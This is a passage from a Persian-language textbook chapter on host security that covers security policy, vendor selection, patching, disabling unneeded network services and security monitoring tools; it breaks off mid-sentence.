اتـصالات پرسـرعت اينترنتـي    . نماينددهند، و آسيبِ وارده را نيز پنهان مي مخفي قرار مي كنند و در آن دربهاي    ها نفوذ مي  اين رايانه 

پـذيريهاي امنيتـي   زمان كوتاهي بتوانند ميليونها رايانه را بـدنبال آسـيب  اين امكان را براي مهاجمان بوجود آورده كه در عرض مدت    
  .پويش كنند

هـاي  خواهد بـا قـرار دادن رايانـه       يك پروژة تحقيقات آزاد اينترنتي است كه مي       ) /http://project.honypot.org (١٩٥كوزة عسل پروژة  
نتـايج ايـن پـروژه اصـلاً        . گيري كند پذير در اينترنت و بررسي سرعت انجام حمله به آنها، گستردگي جامعة نفوذگران را اندازه              آسيب

 از Red Hat 6.2هاي اين پروژه، يك سيـستم  ساس يافته اعلام شد كه بر ا۲۰۰۱بعنوان مثال در ژوئن سال . اميدواركننده نيست
  شـده مـورد   افـزار نفـوذ شـناخته     ساعت توسط يك مهاجم و با يك نرم ۷۲زمانيكه به اينترنت متصل شود، بطور متوسط پس از تنها           

هايي كـه     رايانه. شوديك سيستم معمولي متصل به اينترنت در روز بارها توسط مهاجمان پويش مي            . سوء استفاده قرار خواهد گرفت    
در آنهـا  ) فرض براي عمدة كـاربران خـانگي  يكي از تنظيمات پيش(كنند و قابليت اشتراك فايل   استفاده ميWindows 98عامل  از سيستم

                                                                                                                                            
191  Host Security 
192  Packet Sniffer Software 
193  Internet Relay Chat 
194  Password Sniffers 
195  Honey Pot 
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 در يـك . گيرنـد شوند و معمولاً در همان روز اول مورد نفوذ قرار مـي  فعال است نيز در اينترنت بطور متوسط ساعتي يكبار پويش مي   
  ! دقيقه اتصال به اينترنت مورد نفوذ قرار گرفت۱۵دهنده بعد از تنها  مورد، يك سرويس

توان امنيت ميزبـان را تـأمين       ها مي   ها و رايانه    در شبكه " نبايدها"و  " بايدها"اين خيالپردازي است كه تصور شود با رعايت فهرستي از           
 يك رايانه بايد به آن دسترسي پيدا كند و بنابراين از لحـاظ نظـري،                 براي تخريب   ممكن است گفته شود در هرصورت، مهاجم      . كرد

براي ايمن كردن يك سيستم تمام آنچه نياز داريد اين است كه كلية راههاي دسترسي مهاجم بـه سيـستم را مـسدود نماييـد، و در                      
اي يباً غيرممكن است كه بتـوان رايانـه  اما در عمل و بر اساس تجربه ثابت شده كه تقر      . اينصورت سيستم مورد نظر ايمن خواهد بود      

داشت كه در شبكه خدماتي ارائه كند و در عين حال كلية راههاي دسترسي مهاجمان به آن مسدود باشد؛ چراكه دسترسيِ مهاجمان                      
شـده و   ه كه براي مهاجمان شـناخت     buffer يا حملات سرريزي     CGIدقت  هاي كم برنامهمعمولاً از طريق منافذ نادانسته نظير قطعه      

  .گيردبراي عمدة كاربران رايانه ناشناخته هستند صورت مي

ايـن  . كردنـد تـر مـي    الگوي مورد اقبال عمومي در اينترنت وجود داشتند كه امنيت ميزبان را بسيار پيچيده              ۹براي بيش از يك دهه،      
  :الگوها عبارت بودند از

 ؛)و تدوين سياستها( سيستمها توجهي به امنيت بعنوان يك بعد زيربنايي طراحي و تنظيمبي •
پذيري، و نه عملكرد مطلوب و الزامات و          اي بر اساس معيارهايي چون هزينه و تطبيق         خريداري و پيكربندي سيستمهاي رايانه     •

 ؛نيازهاي امنيتي
 شده وجود نداشته باشد؛افزاري كه در آن منافذ امنيتي و اشكالات شناخته ناتواني در تهية نرم •
 ؛يرضرورياجراي خدمات غ •
 ساده و قابل استفادة مجدد روي شبكه؛انتقال رمزهاي عبور بصورت متن •
 ؛هاي امنيتي و ناتواني در انجام اقدامات پيشگيرانهدنبال نكردن پيشرفتها و توسعه •
 شدند؛عدم استفادة صحيح از ابزارهاي امنيتي، البته اگر اصلاً استفاده مي •
  وفي؛نبود مميزي و ثبت وقايع به اندازة كا •
 .فقدان روالهاي صحيح تهية نسخة پشتيبان •

  تدوين سياست

در برخي سازمانها، هر يك از كاربران مجاز است كه روي ماشينها            . شوند  خطوط قرمز امنيتي در حقيقت با تدوين سياست تعريف مي         
 ـ      . افزار جديد نصب كند و يا صفحات وب سازمان را تغيير دهد           نرم راي رؤيـت صـفحات وب نيـز بـه        در برخي ديگر، كاربران حتـي ب

يا خاموش كنـد؛ درحاليكـه      اندازي مجدد   راهتواند سيستم را      در بعضي سازمانها هر كاربر مي     . دسترسيها و مجوزهاي خاص نياز دارند     
  .نياز داردمدير ارشد اطلاعات در برخي ديگر، كارهاي بسيار كوچكتر مثل جايگزيني يك فايل هم به مجوز امضاشدة 

سياسـت، مـديران و راهبـران را در       . شود كاربران بدانند كه انجام چه كاري مجاز و انجام چه كاري غيرمجاز است              مي سياست باعث 
كند سيستمهايي بسازند كـه بـا       سياست به طراحان كمك مي    . كند  تصميمگيري در مورد سيستم و نحوة استفاده از آن راهنمايي مي          

ترين جزء سياست امنيت، اعلام صريح عملكردهاي مجـاز و غيرمجـاز بـراي               اصلي .كمك آنها بتوان به اهداف سازمان دست يافت       
  :ها بايد بتوان پاسخ سؤالات زير را پيدا كردمشيدر سياستها و خط. افراد مختلف است

 چه كسي مجاز به دسترسي است؟ ماهيت آن دسترسي چيست؟ و چه كسي مجوز اين دسترسي را صادر كرده است؟ •
 هاي پشتيبان، و پشتيباني را بر عهده دارد؟امنيت، ارتقاها، نسخهچه كسي مسئوليت  •
 تواند به عموم ارائه شود؟چه نوع اطلاعاتي مي •
 شده را دارند؟كدام ادارات و كاربران خارجي اجازة دسترسي به اطلاعات ارائه •
 ي قرار گيرند؟ صفحات وب، چه چيزهايي بايد مورد بررسي و ارزيابuploadافزارها و   پيش از نصب نرم •
 دهنده و محتواهاي آن چگونه بايد رسيدگي كرد؟ به شكايتها و درخواستها در مورد سرويس •
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 سازمان چگونه بايد به رخدادهاي امنيتي واكنش نشان دهد؟ •
 هنگام وقوع يك رخداد، چه كسي مجاز است با نشريات، مجريان قانون، و يا ساير عوامل خارج از سازمان گفتگو كند؟ •
  ياست بايد در چه زماني و طبق چه روالي مورد بازبيني قرار گيرد؟خود س •

توجه به تـدوين    . اسناد سياست امنيتي شما بايد بصورت مكتوب و در دسترس تمام كساني باشد كه با سازمان شما در ارتباط هستند                   
  .تواند از بوجود آمدن بسياري از مشكلات جلوگيري كند سياست مي

هـاي  منيتي كه هر از چندگاه بايد مورد بررسي قرار گيرد، روش مورد استفاده براي منهـدم كـردن رسـانه         يكي از بخشهاي سياست ا    
ها، نوارهاي قديمي پشتيبان، و حتي ايـستگاههاي كـاري ممكـن اسـت حـاوي                  دهنده  ديسكهاي سخت سرويس  . سازي است ذخيره
دار شدن حفاظـت گردنـد، بلكـه          درحال فعاليت هستند بايد از خدشه     تنها هنگاميكه   اين اقلام نه  . هاي محرمانه و ارزشمند باشند      داده

شوند نيز بايد سياستي مشخص و كارآ براي انهدام و غيرقابل بازيابي كردن اطلاعات موجود در آنها وجود                  هنگاميكه از رده خارج مي    
  .معمولاً منهدم كردن كامل ديسكهاي سخت بسيار مشكل است. داشته باشد

   انتخاب فروشنده

آيـا  . هاي مبتني بر اطلاعـات وجـود دارد         دهنده  كننده سرويس   هاي زيادي براي انتخاب شركتهاي نصب     امروزه براي سازمانها گزينه   
؟ آيـا ايـن   Unixعامـل آزاد شـبيه   ، و يا يك سيـستم Mac OS ،Unix استفاده كند يا Windowsعامل  رايانة شما بايد از سيستم

، و يا انواع ديگر؟ آيا رايانة مورد SPARC ،Power PCهاي را بكار ببرد يا ريزپردازندهIntelزگار با پردازندة سا رايانه بايد يك ريز
  نظر بايد با خدمات پس از فروش خريداري شود يا بدون آن؟ چه سطحي از خدمات پس از فروش براي كار شما مناسب است؟

دهد اتخـاذ   عتبار فروشنده و تجربة شخصي كه خريد را انجام مي         بسياري از تصميمات خريد بر اساس عواملي چون هزينة سيستم، ا          
  .كنندشوند و تعداد كمي از سازمانها خريد خود را بر اساس سطح امنيت سيستمِ مورد نظر تنظيم ميمي

كيفيت برنامـه   بعضي از فروشندگان و برخي از بسترها ذاتاً امنيت بيشتري نسبت به مابقي دارند، چراكه توليدكنندگان مختلف، براي                   
و امنيت آن ارزشهاي متفاوتي قائل هستند؛ اما اندازة سازمان مشتري هم بر امنيت سيستم تأثيرگذار است؛ چراكه اگر تعداد زيادي از          

  .هاي خود را براي عموم منتشر كنند، سيستمهايي كه تا حدودي ايمن هستند نيز ممكن است ناامن شوند دار، يافتهرقباي سرمايه

تواند باعث توقف كار سيستم شود، اطلاعات         است؛ كه مي   افزاري  نرماشكالات  بزرگترين تهديدات عليه امنيت سيستم، وجود       يكي از   
بد نيست بدانيد كه درصـد      . را تخريب كند، يا از همه بدتر، افراد خارجي را قادر كند كه به اطلاعات دسترسي غير مجاز داشته باشند                   

هاي پيـشتر از آن     افزارها يا حتي نسخه     م  هاي آزمايشي نر  اي عمليات بسيار حياتي خود همچنان از نسخه       بسيار زيادي از سازمانها، بر    
  !كننداستفاده مي

  عـاملي از نـسل      و بـا سيـستم     Intelپردازنـدة سـازگار بـا         هـايي بـا يـك ريـز       از آنجا كـه بـسياري از پايگاههـاي وب، روي رايانـه            
Windows NTبه همـين  ١٩٦.اندپذيري در اين پيكربندي پيدا كردهنگيزة بسيار زيادي براي يافتن آسيبشوند، مهاجمان ا  اجرا مي 

 - Solaris SPARCهـاي    روي رايانهOpen BSD مثل -اند كه از پيكربنديهاي غيرمرسوم  دليل برخي سازمانها تصميم گرفته
بعنوان مثال اگر اولين نگراني شما در       . ن سيستمها را دارند   استفاده كنند، تنها به اين علت كه مهاجمان بسيار كمتري تجربة كار با اي             

 با  Macintoshدهندة وب خود را روي يك رايانة          توانيد سرويس دهندة وب مسائل مبتلابه امنيتي است، مي        اندازي يك سرويس   راه
مفـسر   بـا برنامـة   Macintoshعامـل   سيستم هاي  از آنجا كه اين نسخه. اندازي كنيد راهOS 9، و يا OS 7 ،OS 8عامل  سيستم

اند، براي مهاجمان بسيار سخت خواهد بود كه بتوانند به سيستم نفوذ كنند و به انتخـاب خـود بـه                      در بازار توزيع نشده    ١٩٧خط فرمان 

                                                                                                                                            
نـشده،   پـذيريهاي كـشف   ن محصولات مايكروسافت به يك هدف جذاب براي مهاجمان وجود داشته است، مثل تعداد زياد آسيب               شدبراي تبديل دلايل ديگري نيز       ۱۹۶

  .آيدشود ايمن كردن آن براي راهبران دشوار باشد، و نيز اين واقعيت ساده كه افراد زيادي از مايكروسافت خوششان نمي افزار كه باعث ميپيچيدگي نرم
197  Command-Line Interpreter 
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وء اي ندارند كه بتـوان هريـك از آنهـا را مـورد س ـ    عاملها دهها سرويس شبكه بعلاوه اين سيستم  . هاي سيستم بپردازند  اجراي برنامه 
  .افزارهاي دقيق و بدون اشكال دارد سابقة خوبي در ارائه نرمAppleشركت علاوه بر اينها بطور كلي نيز . استفاده قرار داد

افزارهـاي اختـصاصي كـه بـراي        هاي كاربردي و نرم   گيرد بسيار مهم است، اما برنامه     عاملي كه مورد استفاده قرار مي     هرچند سيستم 
شـده  برنامة ساده كه براي افزايش قابليـت سيـستم نوشـته   يك قطعه. گيرند نيز به همان اندازه مهم هستند     استفاده روي آن قرار مي    

  .پذير كند تواند يك سيستم ايمن را آسيبمي

  :سازي سيستم جديد دنبال شوند به شرح زير هستندبرخي از مراحلي كه بايد پيش از طراحي و پياده

ببينيـد  . شـده معـروف هـستند     افزارهاي بدون اشكال و خوب مـستندسازي        ان به توليد نرم   تحقيق كنيد و ببينيد كدام فروشندگ      •
 مثل تجهيزات و متخصصين امنيتـي، تحليـل         -برد  معيارهاي مشخصي كه فروشنده براي تأمين سطح بالاي امنيتي بكار مي          

اهيد يك نسخه از معيارها و اقدامات خود را         از فروشنده بخو  .  كدامند -هاي متن برنامه و يا آزمون نفوذ        ها، مميزي   جريان داده 
همچنين بايد به روالهاي قبلي آن فروشنده براي كشف و گزارش اشـكالات امنيتـي در                . براي بررسي در اختيار شما قرار دهد      

 http://www.securityfocus.comتـوان در آدرس     يك منبع مناسب براي اين منظـور را مـي         . افزارهايش توجه كنيد    نرم
 هـستند در    ۱۹۹۷شود از اطلاعاتي كه مربوط به قبل از سـال           شده در كشف و گزارش نقايص، پيشنهاد مي       بدليل تكامل روشهاي پذيرفته   . ( كرد پيدا

 ).ارزيابي خود استفاده نكنيد؛ چراكه ممكن است چندان قابل استناد نباشند

امنيت و يا كارآيي محصولاتـشان چگونـه واكـنش    بررسي كنيد و ببينيد كه فروشندگان نسبت به گزارش مشكلات مربوط به         •
دهد؟ بعنوان مثال برخي فروشندگان اعتراضـات كـاربران         آيا فروشندة مورد نظر به چنين گزارشاتي اهميت مي        . دهندنشان مي 

 .گيرند، مگر آنكه انعكاس مطبوعاتي آن بسيار نامطلوب باشد را ناديده مي

ب با معيارهايي چون امنيت، قابليت اطمينان، و واسـطهاي كـاربري مناسـب چقـدر                ببينيد فروشندة مورد نظر به طراحي مناس       •
  .سيستمهاي مقاوم در برابر حملات و اشتباهات كاربر، براي كاربرد در شرايط حساس مناسبتر هستند. دهداهميت مي

شخص هستند استفاده كنـد، يـا   افزارهاي قديمي كه مشكلات آنها تقريباً م مشخص كنيد كه آيا بهتر است سازمان شما از نرم          •
 .شود را بكار بردهاي بازار كه قابليتهاي جديدتري در آنها عرضه مي افزار آخرين نرم

افزار نـسبتاً     سخت. خواهيد را به نحو احسن انجام دهد          سيستمي انتخاب كنيد كه با كمترين قابليتها، تمام كارهايي كه شما مي            •
دهنـدة وب، نـسبت       مجزا براي اختصاص دادن به يك پيكربندي حداقلي سرويس        ارزان است؛ ممكن است خريد يك سيستم        

 كه ممكن است منجر به بروز نقصهاي انبوه         -به استفاده از يك سيستم مشابه سيستمهاي استاندارد سازمان براي اين منظور             
 . گزينة بهتري باشد-شود 

  :شود لازم هستند اشاره ميافزار و سيستمها  در اينجا به برخي مواردي كه براي خريد نرم

 .افزار نويسي، و آزمايش نرمافزار در طراحي، برنامه سازي صحيح الگوهاي موفق مهندسي نرماطمينان از پياده •

آل، اين آزمايش بايـد هـم       در حالت ايده  . افزار در محيطهاي مشابه سازمان شما را نشان دهند           نرم  مستنداتي كه نتايج آزمايش    •
 .د و هم شامل آزمون كارآيي در شرايط بحراني باشدشامل آزمون عملكر

 .يك گزارش مكتوب از سياست فروشنده براي پذيرش، مستند كردن، و واكنش به گزارشات دريافتي از اشكالات محصول •

ن پـذيرتري مـسئوليت . (مشي فروشنده در اعلام اشكالات جديد امنيتي به مشتريان و فرآيند رفـع آنهـا              يك گزارش مكتوب از خط     •
كننـد    دهند، و فروشندگاني كه احساس مسئوليت كمتـري مـي          و فهرستهاي پستي مشتريان انجام مي      FIRSTفروشندگان اينكار را از طريق تيمهاي       

يرقابـل  ها، اشكالات را در مكانهـاي مـبهم و غ  شدة ساير برنامهدهد و يا در كنار اشكالات اعلام        هيچگاه اشكالات و فرآيندهاي رفع آنها را اطلاع نمي        
 .)كنند اطمينان پنهان مي

 .شدههاي پيشين و اشكالات رفع هايي از اطلاعيهنمونه •
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 حتـي فروشـندگان محـصولات       -اي  گيرد، اما هـيچ فروشـنده      مدت اندكي است كه موضوع امنيت را جدي مي          اگرچه صنعت رايانه  
درحـال حاضـر تنهـا تعـداد انـدكي از           . كننـد   پذير بيمه نمي  يبهاي آس افزار خود را در برابر آسيبهاي ناشي از برنامه           نرم -امنيتي هم   

پذيريها و تغييـرات ناخواسـتة پايگاههـاي وب    هايي در قبال خطرات ناشي از آسيب نامه شركتهاي بيمه، سياستهايي براي تنظيم بيمه     
هـايي وجـود    نامههاي متفاوت، چه بيمه   شما بايد اين سياستها را مورد بررسي قرار دهيد تا متوجه شويد براي سيستم             . اندتدوين كرده 

شـوند تكامـل    ها براي كارآتر بودن در پيكربنديهايي كه منجر به مخاطرات كمتـري مـي             نامههرچه زمان بيشتري بگذرد، بيمه    . دارد
  ١٩٨).و لذا مشتريان براي استفاده از خدمات مختلف آنان حق بيمة كمتري پرداخت خواهند كرد(يابند مي

  افزار ي نرمتهيه و پشتيبان

فرآيند نـصب  . افزار مورد نظر خود را انتخاب كرديد، بايد همه چيز را نصب و تنظيم كنيد             افزاري، و نرم    زمانيكه فروشنده، بستر سخت   
دهند ممكن است زمـاني آشـكار شـوند           گاهي اوقات اشتباهاتي كه طي نصب يك برنامه رخ مي         .  يك فرآيند بسيار مهم است      برنامه

بنابراين براي فرآيند نصب به انـدازة كـافي وقـت    .  برخط شده و يا درحال انجام قسمت سنگين كار يك پروژه است         كه سيستم شما  
  .اختصاص دهيد و در مورد صحت آن اطمينان حاصل كنيد

  اندازي يك سيستم مشابه سيستم انبارداريراه

اع پردازشـگرها، كارتهـاي جـانبي و سـاير اجـزاي            هاي سـري، مقـدار حافظـه، انـو          شماره. تمام نكات سيستم خود را فهرست كنيد      
 يك راه سـاده بـراي       -برداري نماييد   از اين اطلاعات حداقل در دو مكان متفاوت نسخه        . افزاري پيكربندي را به ثبت برسانيد      سخت

.  منتقل كنيـد   -منزلتان   مثلاً   -انجام اينكار اين است كه فايل اطلاعات را پس از تكميل، از طريق نامة الكترونيكي به محلي ديگر                   
چنانچه در معـرض دزدي و يـا        . گيري نماييد هاي مرتبط با كارآيي را اندازه     اين اطلاعات زماني به كار خواهند آمد كه بخواهيد جنبه         

  .آسيب نيز قرار بگيريد، اين اطلاعات براي برآوردن نيازهاي اطلاعاتي شركت بيمه نيز بكار خواهند آمد

كننده، نسخة مورد استفاده، و تاريخ انتـشار          افزار، مواردي چون توليد   براي هر نرم  . ستفاده را نيز بايد فهرست كنيد     افزارهاي مورد ا    نرم
با اين وجود اگر كدهاي . كننده همراه است، ثبت اين كدها نيز مفيد خواهد بود افزاري داريد كه با كدهاي فعال  اگر نرم . را ثبت نماييد  

كننـده ممكـن اسـت از        بايد از ايمن بودن آن مطمئن شويد؛ چراكه انتشار خواسته يا ناخواستة كدهاي فعال              كننده را ثبت كنيد،     فعال
  .افزاري تلقي شود گان بعنوان سرقت نرم نظر برخي فروشند

 ـ       از كلية محتويات بستة نرم     افـزار لازم   رمافزار شامل ديسك برنامه، مستندات كار با آن و اطلاعات ديگري كه براي كار با رايانـه و ن
اگر قرار است هر از چندگاه دستگاهها جايگزين شوند و يا نياز به جابجايي آنها داريد، انجام اينكار بسيار مفيد                    . هستند نگهداري كنيد  

دهنـد بـسيار زيـاد        ظاهر مطمئن قرار مـي    هاي چاپيِ به    تعداد شركتهايي كه اطلاعات حياتي براي كار را تنها روي نسخه          . خواهد بود 
هـاي ثبتـي كـه      بنابراين به همـة برگـه     . شدة پيش از وقوع يك رخداد، اخطارهاي امنيتي هستند        معمولاً آخرين ثبتهاي انجام   . است

  .اي از قلم نيافتاده استكنيد يك نگاه اجمالي بياندازيد تا مطمئن شويد كه نكتهافزار دريافت مي افزار يا سخت بوسيلة نرم

  نهاي آافزار و وصله نصب نرم

هاي امنيتـي و    افزاري را روي رايانه نصب كنيد، پايگاه وب فروشندة آنرا بررسي نماييد تا مطمئن شويد كلية وصله                  پيش از اينكه نرم   
براي اين منظور خواندن نكات ويژة      . خواهيد نصب كنيد را در اختيار داريد      افزاري كه مي  هاي رفع اشكال آن نسخه از نرم      برنامهقطعه

كنند كه بايد آنها را به      هاي امنيتي را بصورتي منتشر مي     برخي از فروشندگان وصله   . شودهاي آن نيز توصيه مي    و وصله عامل    سيستم
  .پذيريهاي امنيتي منجر شودتواند به بروز آسيبها به طرق ديگر گاهي اوقات مييك روش ويژه نصب كرد و نصب اين وصله

                                                                                                                                            
كردند، حق بيمة استفاده مي Microsoft IISو  Windows NT، حداقل يك شركت بيمه از مشترياني كه از سيستمهايي با بستر  ۲۰۰۱در اواخر سال    ۱۹۸

  .كردبيشتري دريافت مي
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 رايانه را از اينترنت قطع كنيد و تا تمام شدن اين فرآيند، رايانه را به اينترنت متصل نكنيد، اما            اگر بتوانيد بايد در ابتداي فرآيند نصب،      
مـوارد زيـادي گـزارش      . شـود تر مي هاي امنيتي بدون اتصال به اينترنت روز به روز سخت         روزرساني و نصب وصله   متأسفانه انجام به  

  .اندهاي امنيتي مورد سوء استفاده قرار گرفتهمل و پيش از نصب وصلهعاها پس از نصب سيستم اند كه در آنها رايانهشده

هاي كـاربردي و    عامل، و سپس برنامه     هاي امنيتي سيستم  عامل، وصله   وقتي از متصل نبودن رايانه به اينترنت مطمئن شديد، سيستم         
چنـين ثبتهـايي   . ستان قرار دارد بـه ثبـت برسـانيد   اي كه همواره در دستر تمام اعمال خود را در دفترچه   . ارتقاهاي آنها را نصب كنيد    

اندازي كنيد و مايـل باشـيد روزي انجـام اينكـار را بـه      خصوصاً زماني مفيد واقع خواهند شد كه بخواهيد چندين رايانه را نصب و راه         
  .ديگران واگذاريد

اگـر پـيش از     . امل از سيستم رايانه تهيه كنيـد      پس از انجام همة اين كارها و پيش از انجام هر كار ديگر، بايد يك نسخة پشتيبان ك                 
.  بوسيلة يك مهاجم مورد تهاجم قرار گرفته باشد، اين نسخة پشتيبان تمام ارزش خود را از دست خواهـد داد    انجام اين مرحله، رايانه   

ر بايد نسخة پشتيبان دوم را      پس از اين ام   . توانيد هرگونه تنظيمات اختصاصيِ لازم را انجام دهيد         پس تهية اولين نسخة پشتيبان مي     
  .از سيستم رايانه در يك نوار يا ديسك فشردة متفاوت تهيه نماييد

انـد؛ و دسترسـي فيزيكـي بـه           هاي پشتيبان در محلي امن ذخيره شده      شده و نسخه  افزارهاي خريداري   در پايان مطمئن شويد كه نرم     
فلاپي يا ديسك فشرده را از روي رايانه برداريد تا مهاجمي كه در             گردان ديسك   توانيد ديسك   همچنين مي . رايانه محدود شده است   

  .دهنده دارد، براي سوء استفاده از رايانه با مشكل مواجه شودبازة زماني كوتاهي دسترسي فيزيكي به سرويس

  كاهش مخاطره از طريق كاهش خدمات

اي ارائـه   خدمات ديگري اسـت كـه بوسـيلة رايانـه         دهنده، حداقل كردن      حداقل رساندن مخاطرات سرويس     يك روش مهم براي به      
با غيرفعال كـردن كليـة خـدمات غيرضـروري،     . اگر به سرويسي نياز نداريد، آنرا غيرفعال كنيد. دهندة شما است   شود كه سرويس    مي

وجود داشـته باشـد بايـد       براي رعايت دقيقتر اين اصل، اگر امكان آن         . ايدراههاي بالقوة نفوذ مهاجمان به سيستم را از ميان برداشته         
هاي پست الكترونيكـي،      دهنده  هاي خدمات نام دامنه، سرويس      دهنده  سرويس: هاي متفاوت توزيع كنيد     خدمات مختلف را ميان رايانه    

  .هاي فايل، و غيره دهنده هاي وب، سرويس دهنده سرويس

تواننـد   را كنتـرل كنيـد، چراكـه مـي    rwho و finger ،netstat ،systatبايد هر از چندگاه غيرفعال بودن برخي از خـدمات مثـل         
 ممكن است در حملات تخريب سـرويس بكـار          echo و   chargenبرخي ديگر مثل    . اطلاعات حساسي به افراد بيروني ارائه كنند      

 را  -) ١٩٩ ناشـناس  FTPغيـر از     (FTP و   telnet مثل   -نشده و قابل استفادة مجدد      اي كه رمزهاي عبور رمزگذاري    خدمات شبكه . روند
 بدليل مسائل امنيتـي بايـد همگـي    - rsh و rlogin مثل -كنند  تصديق هويت ميIPدهند، يا كاربران را از روي آدرس   انتقال مي 

  . يا سيستمهاي رمز عبور يكبار مصرف جايگزين شوندsshتر مثل هاي ايمنغيرفعال و با برنامه

.  محـدود كنيـد    inetd.confي را با حذف خطوط متنـاظر در فايـل           توانيد خدمات غيرضرور     بسادگي مي  Unixدهندة    روي سرويس 
كـه در مـسير     " rc"تـوان از فايلهـاي        را مي ) portmapperمثلاً  (آيند  هاي مجزا به اجرا در مي     daemonخدمات ديگري كه بصورت     

/etc/rc   و /etc/rc.local  هاي فرعي    و زيرشاخه/etc/rc.d  ،/etc/init.d   و ،/usr/local/etc/rc.d  شـود حـذف كـرد       يافت مي .
هاي آتش مبتني بر ميزبان براي كنترل دسترسي به          و ديواره  TCPهاي  wrapperتوانيد از     همانطور كه پيشتر توضيح داده شد مي      

  .خدمات نيز استفاده نماييد

  كمي دشوارتر است، چون تنظيمـات مختلـف در سراسـر   Windows 2000 يا Windows NT روي IPغيرفعال كردن خدمات 
registryاند و بعضي از خدمات نيز بدليل طبيعت  توزيع شدهWindows NTبسياري از خـدمات  .  همواره بايد فعال باشندNT را 

فهرست  با قابليت    NTهاي    دهنده  خوشبختانه سرويس .  مميزي كرد يا از كار انداخت      NTتوان با استفاده از برنامة كنترل خدمات          مي
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توانيد از اين قابليت براي مسدود كردن كلية ترافيك يك يا چنـد پـورت مـورد نظـر           شما مي . تند همراه هس  ٢٠٠ساختهدسترسي پيش 
توانيـد در قـسمت تنظيمـات     براي انجام اينكار مـي  . (رسيديد  استفاده كنيد و به همان نتايجي برسيد كه با غيرفعال كردن سرويس به آن مي              

  ). استفاده كنيدIPسازي ، از قابليت غربالControl Panel در TCP/IPپيشرفتة 

هايي كه براي كار با آنها لازم نيست        دهندهسرويس. روش ديگر براي به حداقل رساندن خدمات، به حداقل رساندن دسترسيها است           
 استفاده كرد، نبايد با اين حسابهاي كاربري مـورد اسـتفاده قـرار گيرنـد؛ و درعـوض                   administratorاز حساب كاربري ابركاربر يا      

در . ب كاربري كاربراني كه به دسترسيهاي اين حساب كاربري نياز دارند بايد درصورت امكان از اين دسترسيها برخوردار گردنـد           حسا
اي را در قـسمت كـوچكي   دهندهاگر بتوان سرويس.  خودش اجرا گردد uidدهنده بايد با گروه و        بسياري از موارد، هر پردازة سرويس     

  ).()jail يا ()chrootبا استفاده از فراخوانيهاي سيستمي (ايد اينكار را انجام داد از سيستم فايل محدود كرد، ب

  پذيريهاي جديد آگاه بودن از آخرين اطلاعات مربوط به آسيب

اي است كه اگر بخواهيد يك رايانة ايمن متصل به اينترنت را راهبري و پشتيباني نماييـد لازم اسـت از جزئيـات       امروز شرايط بگونه  
اي   العـاده   شوند، معمولاً بـا سـرعت فـوق         پذيريها بعد از اينكه كشف مي       آسيب. اند مطلع باشيد  پذيريهايي كه بتازگي كشف شده    آسيب

برداري از آن نيز    هاي بهره برنامهپذيري شناسايي شد، روشها و قطعه       علاوه بر اين هنگاميكه يك آسيب     . گردندميان عموم منتشر مي   
بـار انتـشار   پذيري بـراي اولـين   در بسياري موارد، راهبران سيستم از زمانيكه آسيب. شونداينترنت توزيع ميبسرعت توليد و از طريق      

  .گيرند تنها چند ساعت فرصت دارند يابد تا زمانيكه مورد حمله قرار ميمي

ها و ارتقاهاي مرتبط ازيد و وصلهافزارهاي خود بياند هميشه حداقل يك نگاه گذرا به آخرين بولتنهاي منتشره بوسيلة فروشندگان نرم           
بسياري از فروشندگان فهرستهاي پستي دارند كه مخـصوص  . با امنيت را بلافاصله پس از اينكه در دسترس قرار گرفتند نصب كنيد            

 FIRST٢٠١منبع ديگـري بـراي اطلاعـات امنيتـي، تيمهـاي       . باشد  افزارهاي آنان مي  هاي امنيتي نرم  انتشار اطلاعاتي در مورد جنبه    
افزار دانـشگاه كـارني      در مؤسسه مهندسي نرم    ٢٠٢)CERT/CC (ايمركز هماهنگيهاي گروه واكنش به رخدادهاي رايانه      هستند؛ مثل   

دهـد، و از طـرف      كند، به فروشندگان در مورد مسائل امنيتي آگـاهي مـي          آوري مي اي را جمع    اين مركز گزارشات جرائم رايانه    . ملون
از آنجا كه اين مركز و بـسياري ديگـر از مراكـز واكـنش بـه                 . نمايدافزارهايشان منتشر مي  ايمني نرم فروشندگان اطلاعاتي در مورد     

شود بعنوان منبع اصلي اطلاعات امنيتـي خـود   كنند، توصيه مياي، اطلاعات را بلافاصله پس از دريافت منتشر نمي     رخدادهاي رايانه 
  .به آنها تكيه نداشته باشيد

 به عـضويت    - firewalls و   nt-security  ،bugtraq مثل -توانيد در يك يا دو گروه پستي امنيتي         ن مي بعنوان يك منبع جايگزي   
  .درآييد

  استفاده از ابزارهاي امنيتي
بسياري از ابزارهـاي امنيتـي كـه       . شودابزار امنيتي برنامة مخصوصي است كه از آن براي ارزيابي يا ارتقاي امنيت شبكه استفاده مي               

ابزارهـاي  . اندد دارند، در دانشگاهها و يا بوسيلة متخصصان مستقل توليد و بصورت رايگان از طريق اينترنت توزيع شده                 امروزه كاربر 
  .رسندافزارهاي تجاري به فروش ميخوب ديگري نيز وجود دارند كه بصورت نرم

  :اين پنج دسته عبارتند از. يندتوانند به كار راهبران امنيت و شبكه بياپنج دسته ابزار امنيتي وجود دارند كه مي

 برداري قرار دهد؛تواند آنها را مورد بهرهكنند كه يك كاربر محلي ميابزارهايي كه سيستم را بدنبال نقاط ضعفي پويش مي •
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 كنند و مراقب تغييرات غيرمجاز هستند؛ ابزارهايي كه سيستم را در طول زمان بررسي مي •
 كنند؛ اي پويش مياط ضعف شبكهابزارهايي كه شبكه را براي يافتن نق •
 دهند؛ وابزارهايي كه سيستم و شبكه را براي شناسايي حملات درحال انجام مورد بررسي قرار مي •
 .نمايندابزارهايي كه كلية فعل و انفعالات شبكه را براي تحليلهاي بعدي ثبت و ضبط مي •

برخـي از ايـن ابزارهـا       . ر براي نظارت و ارتقاي امنيت سيـستم اسـت         هزينه و مؤث  روش كم   يك  ) معمولاً(استفاده از ابزارهاي خودكار     
بنابراين شما نيز بايد    . هاي اينترنتي براي آنها آشكار كنند       گيرند تا نقاط ضعف را در شبكه        توسط مهاجمان مورد سوء استفاده قرار مي      

  .ابزارهاي مورد نياز خود را در دست داشته باشيد

  ياابزارهاي تصويربرداري لحظه

كننـد و نتـايج آنـرا در يـك           يا ابزارهاي مميزي ايستا سيستم را بدنبال نقاط ضعف پـويش مـي             ٢٠٣ايابزارهاي تصويربرداري لحظه  
 را  etc/passwd/، ممكـن اسـت يكـي از ابزارهـا محتـواي فايـل               Unixبعنوان مثال در يك سيستم      . نمايندگزارش گردآوري مي  

اي بررسيهاي بـسيار    ابزارهاي تصويربرداري لحظه  . اربر مجوز ايجاد تغيير در آنرا ندارد      بررسي كند تا مطمئن شود هيچكس بجز ابرك       
